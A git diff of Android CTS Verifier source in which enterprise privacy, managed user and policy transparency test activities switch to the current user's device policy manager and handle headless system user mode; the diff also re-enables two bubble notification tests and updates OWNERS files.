index 5e8a92f..7aa1eaa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -16,13 +16,14 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+
 import android.Manifest;
 import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
+import android.os.UserManager;
 import android.provider.Settings;
 
 import com.android.cts.verifier.ArrayTestListAdapter;
@@ -30,8 +31,7 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
-
-import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+import com.android.cts.verifier.features.FeatureUtil;
 
 /**
  * Test class to verify privacy information is shown for devices managed by a Device Owner.
@@ -92,6 +92,12 @@
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command);
     }
 
+    private Intent buildCommandIntentForCurrentUser(String command) {
+        return buildCommandIntent(command)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true);
+    }
+
+
     private TestListItem buildCommandTest(String id, int titleRes, int infoRes,
             int commandButtonRes, String command) {
         return createInteractiveTestItem(this, id, titleRes, infoRes,
@@ -105,12 +111,14 @@
             String permission) {
         return createInteractiveTestItem(this, id, titleRes, infoRes,
                 new ButtonInfo[] {
-                        new ButtonInfo(R.string.enterprise_privacy_reset, buildCommandIntent(
+                        new ButtonInfo(R.string.enterprise_privacy_reset,
+                                buildCommandIntentForCurrentUser(
                                 CommandReceiverActivity.COMMAND_SET_PERMISSION_GRANT_STATE)
                                 .putExtra(CommandReceiverActivity.EXTRA_PERMISSION, permission)
                                 .putExtra(CommandReceiverActivity.EXTRA_GRANT_STATE,
                                         DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT)),
-                        new ButtonInfo(R.string.enterprise_privacy_grant, buildCommandIntent(
+                        new ButtonInfo(R.string.enterprise_privacy_grant,
+                                buildCommandIntentForCurrentUser(
                                 CommandReceiverActivity.COMMAND_SET_PERMISSION_GRANT_STATE)
                                 .putExtra(CommandReceiverActivity.EXTRA_PERMISSION, permission)
                                 .putExtra(CommandReceiverActivity.EXTRA_GRANT_STATE,
@@ -139,15 +147,17 @@
                 R.string.enterprise_privacy_security_logging_info,
                 R.string.enterprise_privacy_retrieve_security_logs,
                 CommandReceiverActivity.COMMAND_RETRIEVE_SECURITY_LOGS));
+        int installedAppsInfoResId = UserManager.isHeadlessSystemUserMode()
+                ? R.string.enterprise_privacy_enterprise_installed_apps_info_headless_system_user
+                : R.string.enterprise_privacy_enterprise_installed_apps_info;
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ENTERPRISE_INSTALLED_APPS,
-                R.string.enterprise_privacy_enterprise_installed_apps,
-                R.string.enterprise_privacy_enterprise_installed_apps_info,
+                R.string.enterprise_privacy_enterprise_installed_apps, installedAppsInfoResId,
                 new ButtonInfo[] {
                         new ButtonInfo(R.string.enterprise_privacy_install,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_INSTALL_HELPER_PACKAGE)),
                         new ButtonInfo(R.string.enterprise_privacy_uninstall,
-                                buildCommandIntent(CommandReceiverActivity
+                                buildCommandIntentForCurrentUser(CommandReceiverActivity
                                         .COMMAND_UNINSTALL_HELPER_PACKAGE)),
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS))}));
@@ -169,11 +179,11 @@
                 new ButtonInfo[] {
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
-                        new ButtonInfo(R.string.enterprise_privacy_reset, buildCommandIntent(
-                                CommandReceiverActivity
+                        new ButtonInfo(R.string.enterprise_privacy_reset,
+                                buildCommandIntentForCurrentUser(CommandReceiverActivity
                                         .COMMAND_CLEAR_PERSISTENT_PREFERRED_ACTIVITIES)),
                         new ButtonInfo(R.string.enterprise_privacy_set_default_apps,
-                                buildCommandIntent(CommandReceiverActivity
+                                buildCommandIntentForCurrentUser(CommandReceiverActivity
                                         .COMMAND_ADD_PERSISTENT_PREFERRED_ACTIVITIES))}));
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_DEFAULT_IME,
                 R.string.enterprise_privacy_default_ime,
@@ -182,11 +192,12 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_set_keyboard,
-                                buildCommandIntent(CommandReceiverActivity
-                                        .COMMAND_SET_DEFAULT_IME)),
+                                buildCommandIntentForCurrentUser(
+                                        CommandReceiverActivity.COMMAND_SET_DEFAULT_IME)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(CommandReceiverActivity
-                                        .COMMAND_CLEAR_DEFAULT_IME))}));
+                                buildCommandIntentForCurrentUser(
+                                        CommandReceiverActivity.COMMAND_CLEAR_DEFAULT_IME))
+                }));
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ALWAYS_ON_VPN,
                 R.string.enterprise_privacy_always_on_vpn,
                 R.string.enterprise_privacy_always_on_vpn_info,
@@ -194,10 +205,10 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))}));
 
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY,
@@ -219,10 +230,10 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_install_cert,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(
+                                buildCommandIntentForCurrentUser(
                                         CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))}));
         if (Utils.isLockscreenSupported(this)) {
             adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
@@ -232,10 +243,10 @@
                             new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                     new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                             new ButtonInfo(R.string.enterprise_privacy_set_limit,
-                                    buildCommandIntent(CommandReceiverActivity
+                                    buildCommandIntentForCurrentUser(CommandReceiverActivity
                                             .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
                             new ButtonInfo(R.string.enterprise_privacy_finish,
-                                    buildCommandIntent(CommandReceiverActivity
+                                    buildCommandIntentForCurrentUser(CommandReceiverActivity
                                             .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
         }
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_QUICK_SETTINGS,
@@ -250,7 +261,8 @@
                                         CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
                                         .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
                                                 "Foo, Inc."))}));
-        if (Utils.isLockscreenSupported(this)) {
+        if (Utils.isLockscreenSupported(this)
+                && FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)) {
             adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
                     R.string.enterprise_privacy_keyguard,
                     R.string.enterprise_privacy_keyguard_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 8be4564..6ddcf71 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static com.android.cts.verifier.managedprovisioning.CommandReceiverActivity.createIntentForDisablingKeyguardOrStatusBar;
 import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
 
 import android.app.Activity;
@@ -24,8 +25,10 @@
 import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
+import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
+import android.util.Log;
 
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
@@ -33,6 +36,7 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 import com.android.cts.verifier.TestResult;
+import com.android.cts.verifier.features.FeatureUtil;
 
 /**
  * Activity that lists all positive managed user tests.
@@ -51,18 +55,21 @@
     private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
     private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
     private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+    private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        if (ACTION_CHECK_AFFILIATED_PROFILE_OWNER.equals(getIntent().getAction())) {
+        Intent intent = getIntent();
+        Log.d(TAG, "onCreate(" + UserHandle.myUserId() + "): intent=" + intent);
+        if (ACTION_CHECK_AFFILIATED_PROFILE_OWNER.equals(intent.getAction())) {
             DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
             if (dpm.isProfileOwnerApp(getPackageName()) && dpm.isAffiliatedUser()) {
-                TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                TestResult.setPassedResult(this, intent.getStringExtra(EXTRA_TEST_ID),
                         null, null);
             } else {
-                TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                TestResult.setFailedResult(this, intent.getStringExtra(EXTRA_TEST_ID),
                         getString(R.string.managed_user_incorrect_managed_user), null);
             }
             finish();
@@ -97,12 +104,27 @@
             // Pass and fail buttons are known to call finish() when clicked,
             // and this is when we want to remove the managed owner.
             DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
+            Log.i(TAG, "Calling logoutUser() on user " + UserHandle.myUserId());
             dpm.logoutUser(DeviceAdminTestReceiver.getReceiverComponentName());
         }
+        Log.i(TAG, "So long and thanks for all the finish()!");
         super.finish();
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+        // Check managed user's new user disclaimer
+        if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+            adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+                    R.string.check_new_user_disclaimer,
+                    R.string.check_new_user_disclaimer_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(
+                                    R.string.device_owner_settings_go,
+                                    new Intent(Settings.ACTION_USER_SETTINGS)),
+                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                    createSetOrganizationNameIntent())}));
+        }
+
         adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
                 R.string.managed_user_check_managed_user_test,
                 new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -124,31 +146,33 @@
                     new ButtonInfo[]{
                             new ButtonInfo(
                                     R.string.device_owner_disable_statusbar_button,
-                                    createManagedUserIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
-                                            true)),
+                                            /* disabled= */ true)),
                             new ButtonInfo(
                                     R.string.device_owner_reenable_statusbar_button,
-                                    createManagedUserIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
-                                            false))}));
+                                            /* disabled= */ false))}));
         }
 
         // setKeyguardDisabled
-        adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
-                R.string.device_owner_disable_keyguard_test,
-                R.string.device_owner_disable_keyguard_test_info,
-                new ButtonInfo[]{
-                        new ButtonInfo(
-                                R.string.device_owner_disable_keyguard_button,
-                                createManagedUserIntentWithBooleanParameter(
-                                        CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
-                                        true)),
-                        new ButtonInfo(
-                                R.string.device_owner_reenable_keyguard_button,
-                                createManagedUserIntentWithBooleanParameter(
-                                        CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
-                                        false))}));
+        if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)) {
+            adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
+                    R.string.device_owner_disable_keyguard_test,
+                    R.string.device_owner_disable_keyguard_test_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(
+                                    R.string.device_owner_disable_keyguard_button,
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
+                                            CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
+                                            true)),
+                            new ButtonInfo(
+                                    R.string.device_owner_reenable_keyguard_button,
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
+                                            CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
+                                            false))}));
+        }
 
         // DISALLOW_REMOVE_USER
         adapter.add(createInteractiveTestItem(this, DISALLOW_REMOVE_USER_TEST_ID,
@@ -175,25 +199,22 @@
         adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
                 R.string.device_profile_owner_policy_transparency_test,
                 policyTransparencyTestIntent));
-
     }
 
-
     static TestListItem createTestItem(Activity activity, String id, int titleRes,
             Intent intent) {
         intent.putExtra(EXTRA_TEST_ID, id);
         return TestListItem.newTest(activity, titleRes, id, intent, null);
     }
 
-    private Intent createManagedUserIntentWithBooleanParameter(String command, boolean value) {
-        return new Intent(this, CommandReceiverActivity.class)
-                .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
-                .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, value);
-    }
-
     private boolean isStatusBarEnabled() {
         // Watches don't support the status bar so this is an ok proxy, but this is not the most
         // general test for that. TODO: add a test API to do a real check for status bar support.
         return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
     }
+
+    private Intent createSetOrganizationNameIntent() {
+        return new Intent(CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
index f51c943..19b6194 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
@@ -1,6 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
index de511b4..9317dca 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
@@ -21,6 +21,7 @@
 import android.content.Intent;
 import android.inputmethodservice.InputMethodService;
 import android.os.Bundle;
+import android.os.UserManager;
 import android.provider.Settings;
 import android.util.ArrayMap;
 import android.view.View;
@@ -35,6 +36,8 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import java.util.Arrays;
+import java.util.List;
 import java.util.Map;
 
 public class PolicyTransparencyTestActivity extends PassFailButtons.Activity implements
@@ -69,6 +72,13 @@
             "com.android.cts.verifier.managedprovisioning.extra.TEST_ID";
 
     private static final Map<String, PolicyTestItem> POLICY_TEST_ITEMS = new ArrayMap<>();
+
+    /**
+     * List of restrictions that might not have an optional for user to change on Settings.
+     */
+    private static final List<String> OPTIONAL_USER_RESTRICTION_ACTIONS = Arrays
+            .asList(UserManager.DISALLOW_CONFIG_CELL_BROADCASTS);
+
     static {
         POLICY_TEST_ITEMS.put(TEST_CHECK_AUTO_TIME_REQUIRED, new PolicyTestItem(
                 R.string.auto_time_required_set_step,
@@ -138,6 +148,7 @@
         String userAction = null;
         String widgetLabel = null;
         int widgetId = 0;
+        String note = "";
         if (TEST_CHECK_USER_RESTRICTION.equals(mTest)) {
             setStep = getString(R.string.user_restriction_set_step, mTitle);
             final String userRestriction = getIntent().getStringExtra(
@@ -145,6 +156,9 @@
             userAction = UserRestrictions.getUserAction(this, userRestriction);
             widgetLabel = mTitle;
             widgetId = R.id.switch_widget;
+            if (OPTIONAL_USER_RESTRICTION_ACTIONS.contains(userRestriction)) {
+                note = getString(R.string.optional_policy_transparency_test_note);
+            }
         } else {
             final PolicyTestItem testItem = POLICY_TEST_ITEMS.get(mTest);
             setStep = getString(testItem.setStep);
@@ -154,7 +168,8 @@
         }
         ((TextView) findViewById(R.id.widget_label)).setText(widgetLabel);
         ((TextView) findViewById(R.id.test_instructions)).setText(
-                getString(R.string.policy_transparency_test_instructions, setStep, userAction));
+                getString(R.string.policy_transparency_test_instructions,
+                        setStep, userAction, note));
         updateWidget(widgetId);
     }
 
@@ -212,6 +227,8 @@
             final PolicyTestItem testItem = POLICY_TEST_ITEMS.get(mTest);
             intent.putExtra(CommandReceiverActivity.EXTRA_COMMAND, testItem.command);
             intent.putExtra(CommandReceiverActivity.EXTRA_ENFORCED, isChecked);
+            intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM,
+                    mForceCurrentUserDpm);
         }
         startActivity(intent);
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index 6dd31f8..a8ad2fd 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -168,6 +168,11 @@
             String testId = getTestId(title);
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TITLE, title);
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId);
+            // This restriction is set per user so current user's DPM should be used instead of
+            // device owner's DPM.
+            if (mMode == MODE_DEVICE_OWNER && ALSO_VALID_FOR_MANAGED_USER.contains(test)) {
+                intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true);
+            }
             adapter.add(TestListItem.newTest(title, testId, intent, null));
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index dceb747..f027c9a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -290,6 +290,10 @@
                 return (hasSettingsActivity(context, Settings.ACTION_DISPLAY_SETTINGS)
                     && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
             case UserManager.DISALLOW_CONFIG_CELL_BROADCASTS:
+                if (context.getResources().getBoolean(context.getResources()
+                        .getIdentifier("config_disable_all_cb_messages", "bool", "android"))) {
+                    return false;
+                }
                 final TelephonyManager tm =
                     context.getSystemService(TelephonyManager.class);
                 if (!tm.isSmsCapable()) {
@@ -327,7 +331,7 @@
             case UserManager.DISALLOW_SHARE_LOCATION:
                 return pm.hasSystemFeature(PackageManager.FEATURE_LOCATION);
             case UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES:
-                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+                return FeatureUtil.isInstallUnknownSourcesSupported(context);
             case UserManager.DISALLOW_CONFIG_CREDENTIALS:
                 return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                         && hasSettingsActivity(context, ACTION_CREDENTIALS_INSTALL);
@@ -335,6 +339,10 @@
                 return FeatureUtil.isScreenTimeoutSupported(context);
             case UserManager.DISALLOW_CONFIG_LOCATION:
                 return FeatureUtil.isConfigLocationSupported(context);
+            case UserManager.DISALLOW_APPS_CONTROL:
+                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+            case UserManager.DISALLOW_UNINSTALL_APPS:
+                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
             default:
                 return true;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
index 68685ba..5fad20c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
@@ -28,8 +28,11 @@
 import android.content.DialogInterface;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.util.Log;
 import android.widget.Toast;
+
 import com.android.cts.verifier.IntentDrivenTestActivity;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.R;
@@ -82,26 +85,36 @@
     }
 
     static void showBugreportNotification(Context context, String msg, int notificationId) {
-        NotificationManager mNotificationManager =
-                (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
-
+        NotificationManager notificationManager = getNotificationManager(context);
         NotificationChannel channel = new NotificationChannel(CHANNEL_ID,
                 CHANNEL_ID, NotificationManager.IMPORTANCE_HIGH);
-        mNotificationManager.createNotificationChannel(channel);
+        notificationManager.createNotificationChannel(channel);
+        CharSequence title = context.getString(R.string.device_owner_requesting_bugreport_tests);
         Notification notification = new Notification.Builder(context)
                 .setChannelId(CHANNEL_ID)
                 .setSmallIcon(R.drawable.icon)
-                .setContentTitle(context.getString(
-                        R.string.device_owner_requesting_bugreport_tests))
+                .setContentTitle(title)
                 .setContentText(msg)
                 .setStyle(new Notification.BigTextStyle().bigText(msg))
                 .extend(new Notification.TvExtender())
                 .build();
-        mNotificationManager.notify(notificationId, notification);
+        Log.d(TAG, "Sending notification: id=" + notificationId + ", title='" + title
+                + "' text='" + msg + "'");
+        notificationManager.notify(notificationId, notification);
+    }
+
+    private static NotificationManager getNotificationManager(Context context) {
+        if (UserManager.isHeadlessSystemUserMode()) {
+            Log.d(TAG, "getNotificationManager(): using context for current user");
+            context = context.createContextAsUser(UserHandle.CURRENT, /* flags= */ 0);
+        }
+        return context.getSystemService(NotificationManager.class);
     }
 
     static void showToast(Context context, int messageId) {
-        Toast.makeText(context, messageId, Toast.LENGTH_SHORT).show();
+        CharSequence msg = context.getString(messageId);
+        Log.d(TAG, "showToast(): " + msg);
+        Toast.makeText(context, msg, Toast.LENGTH_SHORT).show();
     }
 
     /**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index f249642..8acfcd5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -178,8 +178,7 @@
             mTests.add(new CheckOverflowExists());
             mTests.add(new DismissBubbleShowsInOverflow());
             mTests.add(new PromoteBubbleFromOverflow());
-            // (b/193560795) Enable this in next api bump.
-            //mTests.add(new CancelRemovesBubblesInOverflow());
+            mTests.add(new CancelRemovesBubblesInOverflow());
             mTests.add(new TapNotifWithOverflowBubble());
             //
             // Expanded view appearance
@@ -187,8 +186,7 @@
             mTests.add(new PortraitAndLandscape());
             mTests.add(new ScrimBehindExpandedView());
             mTests.add(new ImeInsetsExpandedView());
-            // (b/190560927) Enable this in next api bump.
-            //mTests.add(new MinHeightExpandedView());
+            mTests.add(new MinHeightExpandedView());
             mTests.add(new MaxHeightExpandedView());
         }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationPrivacyVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationPrivacyVerifierActivity.java
index ce4d631..760bd71 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationPrivacyVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationPrivacyVerifierActivity.java
@@ -162,7 +162,7 @@
 
         Notification publicVersion = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle(getString(R.string.np_public_version_text))
-                .setSmallIcon(R.drawable.ic_stat_bob)
+                .setSmallIcon(R.drawable.ic_stat_alice)
                 .setWhen(when)
                 .build();
         Notification privateVersion = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
index f5cd322..40ff606 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -2,7 +2,7 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
 # Bug template url: https://b.corp.google.com/issues/new?component=746324&template=1398789 = per-file: SecurityModeFeatureVerifierActivity.java
 # Bug component: 189335 = per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
-per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
-per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java, CredentialManagementAppActivity.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file CA*.java, Ca*.java, KeyChainTest.java = file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatformSecurity_OWNERS
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java, CredentialManagementAppActivity.java = file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatformSecurity_OWNERS
 per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
 per-file SecurityModeFeatureVerifierActivity.java = jjoslin@google.com, tomcherry@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
index d7e6ddb..43a8c18 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
@@ -16,19 +16,19 @@
 
 package com.android.cts.verifier.security;
 
-import static android.os.Build.VERSION;
 import static android.os.Build.VERSION_CODES;
 
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import android.content.pm.PackageManager;
 import android.os.Bundle;
-import android.os.SystemProperties;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
 import android.widget.ImageView;
 import android.widget.TextView;
 
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -60,9 +60,8 @@
         mHandheldOrTabletOkButton = (Button) findViewById(R.id.handheld_or_tablet_yes);
         mHandheldOrTabletNaButton = (Button) findViewById(R.id.handheld_or_tablet_not_applicable);
 
-        final int firstApiLevel =
-                SystemProperties.getInt("ro.product.first_api_level", VERSION.SDK_INT);
-        mDeviceLaunchedBeforeS = firstApiLevel < VERSION_CODES.S;
+        // Devices launched before S will always pass the test.
+        mDeviceLaunchedBeforeS = isLaunchedBeforeS();
 
         mFeatureAvailable = getPackageManager()
